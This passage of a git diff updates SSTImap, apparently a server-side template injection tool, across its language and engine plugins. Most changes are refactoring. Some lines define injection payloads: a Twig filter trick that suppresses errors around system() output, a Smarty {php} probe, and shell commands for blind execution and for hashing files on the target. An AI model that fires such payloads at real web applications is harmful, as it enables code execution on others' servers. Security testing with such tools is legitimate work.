a/plugins/generic/php_generic.py +++ b/plugins/generic/php_generic.py @@ -1,6 +1,6 @@ from plugins.languages import php from utils import rand -from plugins.languages import bash +from core import bash class Php_generic(php.Php): @@ -9,8 +9,8 @@ def init(self): 'render': { 'render': '{code}', #TODO: Add pre_header later: ini_set("error_reporting", "0") - 'header': '"{header}"', - 'trailer': '"{trailer}"', + 'header': '{header[0]}+{header[1]}', + 'trailer': '{trailer[0]}+{trailer[1]}', 'test_render': f'"{rand.randints[0]}"+"{rand.randints[1]}"', 'test_render_expected': f'{rand.randints[0]+rand.randints[1]}' }, diff --git a/plugins/generic/python_generic.py b/plugins/generic/python_generic.py index dcc1fca..96ec6ed 100644 --- a/plugins/generic/python_generic.py +++ b/plugins/generic/python_generic.py @@ -7,8 +7,8 @@ def init(self): self.update_actions({ 'render': { 'render': '{code}', - 'header': '"{header}"', - 'trailer': '"{trailer}"', + 'header': '{header[0]}+{header[1]}', + 'trailer': '{trailer[0]}+{trailer[1]}', 'test_render': f"'{rand.randstrings[0]}'.join('{rand.randstrings[1]}')", 'test_render_expected': f'{rand.randstrings[0].join(rand.randstrings[1])}' }, diff --git a/plugins/languages/java.py b/plugins/languages/java.py index d931d79..56c67e2 100644 --- a/plugins/languages/java.py +++ b/plugins/languages/java.py @@ -1,11 +1,12 @@ from core.plugin import Plugin -from plugins.languages import bash +from core import bash from utils import closures from utils import rand import re class Java(Plugin): + header_type = "add" def language_init(self): self.update_actions({ 'execute': { @@ -23,7 +24,7 @@ def language_init(self): 'md5': """$(type -p md5 md5sum)<'{path}'|head -c 32""" }, # Prepared to used only for blind detection. Not useful for time-boolean - # tests (since && characters can\'t be used) but enough for the detection phase. + # tests (since && characters can't be used) but enough for the detection phase. 'blind': { 'call': 'execute_blind', 'test_bool_true': 'true', diff --git a/plugins/languages/javascript.py b/plugins/languages/javascript.py index f20afea..74a6d7b 100644 --- a/plugins/languages/javascript.py +++ b/plugins/languages/javascript.py @@ -1,17 +1,18 @@ -from plugins.languages import bash +from core import bash from utils import closures from core.plugin import Plugin from utils import rand class Javascript(Plugin): + header_type = "add" def language_init(self): self.update_actions({ 'render': { 'call': 'inject', 'render': """{code}""", - 'header': """'{header}'+""", - 'trailer': """+'{trailer}'""", + 'header': """({header[0]}+{header[1]}).toString()+""", + 'trailer': """+({trailer[0]}+{trailer[1]}).toString()""", 'test_render': f'typeof({rand.randints[0]})+{rand.randints[1]}', 'test_render_expected': f'number{rand.randints[1]}' }, @@ -27,7 +28,7 @@ def language_init(self): }, 'md5': { 'call': 'render', - 'md5': "require('crypto').createHash('md5').update(require('fs').readFileSync('{path}')).digest(\"hex\")" + 'md5': "require('crypto').createHash('md5').update(require('fs').readFileSync('{path}')).digest('hex')" }, 'evaluate': { 'call': 'render', diff --git a/plugins/languages/php.py b/plugins/languages/php.py index 1848fab..f243644 100644 --- a/plugins/languages/php.py +++ b/plugins/languages/php.py @@ -1,17 +1,18 @@ -from plugins.languages import bash +from core import bash from core.plugin import Plugin from utils import closures from utils import rand class Php(Plugin): + header_type = "add" def language_init(self): self.update_actions({ 'render': { 'call': 'inject', 'render': """{code}""", - 'header': """print_r('{header}');""", - 'trailer': """print_r('{trailer}');""", + 'header': """print({header[0]}+{header[1]});""", + 'trailer': """print({trailer[0]}+{trailer[1]});""", 'test_render': f'print({rand.randints[0]}+{rand.randints[1]});', 'test_render_expected': f'{rand.randints[0]+rand.randints[1]}' }, diff --git a/plugins/languages/python.py b/plugins/languages/python.py index ae675a3..91015aa 100644 --- a/plugins/languages/python.py +++ b/plugins/languages/python.py @@ -1,16 +1,17 @@ from core.plugin import Plugin from utils import closures -from plugins.languages import bash +from core import bash from utils import rand class Python(Plugin): + header_type = "add" def language_init(self): self.update_actions({ 'render': { 'render': """{code}""", - 'header': """'{header}'+""", - 'trailer': """+'{trailer}'""", + 'header': """str({header[0]}+{header[1]})+""", + 'trailer': """+str({trailer[0]}+{trailer[1]})""", 'test_render': f"""str('{rand.randstrings[0]}'.join('{rand.randstrings[1]}'))""", 'test_render_expected': f'{rand.randstrings[0].join(rand.randstrings[1])}' }, diff --git a/plugins/languages/ruby.py b/plugins/languages/ruby.py index 37fc164..12f1f87 100644 --- a/plugins/languages/ruby.py +++ b/plugins/languages/ruby.py @@ -1,15 +1,16 @@ from core.plugin import Plugin -from plugins.languages import bash +from core import bash from utils import rand class Ruby(Plugin): + header_type = "add" def language_init(self): self.update_actions({ 'render': { 'render': '{code}', - 'header': """'{header}'+""", - 'trailer': """+'{trailer}'""", + 'header': """({header[0]}+{header[1]}).to_s+""", + 'trailer': """+({trailer[0]}+{trailer[1]}).to_s""", 'test_render': f"""({rand.randints[0]}*{rand.randints[1]}).to_s""", 'test_render_expected': f'{rand.randints[0]*rand.randints[1]}' }, diff --git a/plugins/legacy_engines/smarty_unsecure.py b/plugins/legacy_engines/smarty_unsecure.py index ba1a69c..5a09bcd 100644 --- a/plugins/legacy_engines/smarty_unsecure.py +++ b/plugins/legacy_engines/smarty_unsecure.py @@ -7,8 +7,8 @@ def init(self): self.update_actions({ 'render': { 'render': '{code}', - 'header': '{{{header}}}', - 'trailer': '{{{trailer}}}', + 'header': '{{{header[0]}+{header[1]}}}', + 'trailer': '{{{trailer[0]}+{trailer[1]}}}', # {php}{/php} added to check for this tag for exploitation, otherwise test regular Smarty payload based on {if}{/if} tag 'test_render': f"""{{{rand.randints[0]}}}{{php}}{{/php}}{{*{rand.randints[1]}*}}{{{rand.randints[2]}}}""", 'test_render_expected': f'{rand.randints[0]}{rand.randints[2]}' diff --git a/plugins/legacy_engines/twig_filter.py b/plugins/legacy_engines/twig_filter.py index 2bbe7a8..2bef34b 100644 --- a/plugins/legacy_engines/twig_filter.py +++ b/plugins/legacy_engines/twig_filter.py @@ -1,5 +1,5 @@ from plugins.languages import php -from plugins.languages import bash +from core import bash from utils import rand @@ -12,8 +12,8 @@ def init(self): 'render': { 'render': '{code}', # Disable errors, so that "system" will not corrupt the output with a warning - 'header': '{{% for a in {{"0":"error_reporting"}}|map("ini_set") %}}{{% endfor %}}{{{{{header}}}}}', - 'trailer': '{{{{{trailer}}}}}', + 'header': '{{% for a in {{"0":"error_reporting"}}|map("ini_set") %}}{{% endfor %}}{{{{{header[0]}+{header[1]}}}}}', + 'trailer': '{{{{{trailer[0]}+{trailer[1]}}}}}', # {{7*'7'}} and a{#b#}c work in freemarker as well # {%% set a=%i*%i %%}{{a}} works in Nunjucks as well 'test_render': f'{{{{(1..3)|filter(x => x < 3)|join("")}}}}{{{{"{rand.randstrings[0]}\n"|nl2br}}}}', diff --git a/sstimap.py b/sstimap.py index 5bcea97..921f197 100755 --- a/sstimap.py +++ b/sstimap.py @@ -3,7 +3,7 @@ if sys.version_info.major != 3 or sys.version_info.minor < 6: print('\033[91m[!]\033[0m SSTImap was created for Python3.6 and above. Python'+str(sys.version_info.major)+'.'+str(sys.version_info.minor)+' is not supported!') sys.exit() -if sys.version_info.minor > 11: +if sys.version_info.minor > 13: print('\033[33m[!]\033[0m This version of SSTImap was not tested with Python3.'+str(sys.version_info.minor)) import importlib import os @@ -36,7 +36,7 @@ def main(): 'or interactive mode (-i, --interactive)') elif args['interactive']: # interactive mode - log.log(23, 'Starting SSTImap in interactive mode. Type \'help\' to see the details.') + log.log(23, "Starting SSTImap in interactive mode. Type 'help' to see the details.") InteractiveShell(args).cmdloop() else: # predetermined mode diff --git a/utils/closures.py b/utils/closures.py index c85d37b..78b4723 100644 --- a/utils/closures.py +++ b/utils/closures.py @@ -1,5 +1,5 @@ # Shared closures -close_single_double_quotes = ['1\'', '1"'] +close_single_double_quotes = ["1'", '1"'] integer = ['1'] string = ['"1"'] close_dict = ['}', ':1}'] diff --git a/utils/config.py b/utils/config.py index ed75224..c2d92ff 100644 --- a/utils/config.py +++ b/utils/config.py @@ -3,7 +3,11 @@ import json -version = '1.2.2' +version = '1.2.3' +min_version = { + 'plugin': '1.2.3', + 'data_type': '1.2.0' +} # Defaults to be overwritten by config.json, ~/.sstimap/config.json, user-supplied config and arguments defaults = { @@ -79,3 +83,20 @@ def config_args(args): args["data_params"] = {x.split("=", 1)[0]: x.split("=", 1)[1] for x in args["data_params"]} config_update(res, args) return res + + +def compare_versions(a, b): + av = [int(x) for x in a.split("#")[0].split(".")] + bv = [int(x) for x in b.split("#")[0].split(".")] + l = min(len(av), len(bv)) + for i in range(l): + if av[i] < bv[i]: + return "<" + elif av[i] > bv[i]: + return ">" + # a.b.c = a.b.c.0 < a.b.c.d + if len(av) < len(bv): + return "<" + elif len(av) > len(bv): + return ">" + return "=" diff --git a/utils/rand.py b/utils/rand.py index 71b22f1..b8020dc 100644 --- a/utils/rand.py +++ b/utils/rand.py @@ -2,7 +2,8 @@ import string -def randint_n(n): +def randint_n(n, m=9): + # m - max first digit # If the length is 1, starts from 2 to avoid # number repetition on evaluation e.g. 1*8=8 # creating false positives @@ -10,7 +11,7 @@ def randint_n(n): range_start = 2 else: range_start = 10**(n-1) - range_end = (10**n)-1 + range_end = (m+1)*(10**(n-1))-1 return random.randint(range_start, range_end) diff --git a/utils/strings.py b/utils/strings.py index 70ac399..dd686e2 100644 --- a/utils/strings.py +++ b/utils/strings.py @@ -3,7 +3,7 @@ def quote(command): - return command.replace("\\", "\\\\").replace("\"", "\\\"") + return command.replace("\\", "\\\\").replace('"', '\\"') def base64encode(data):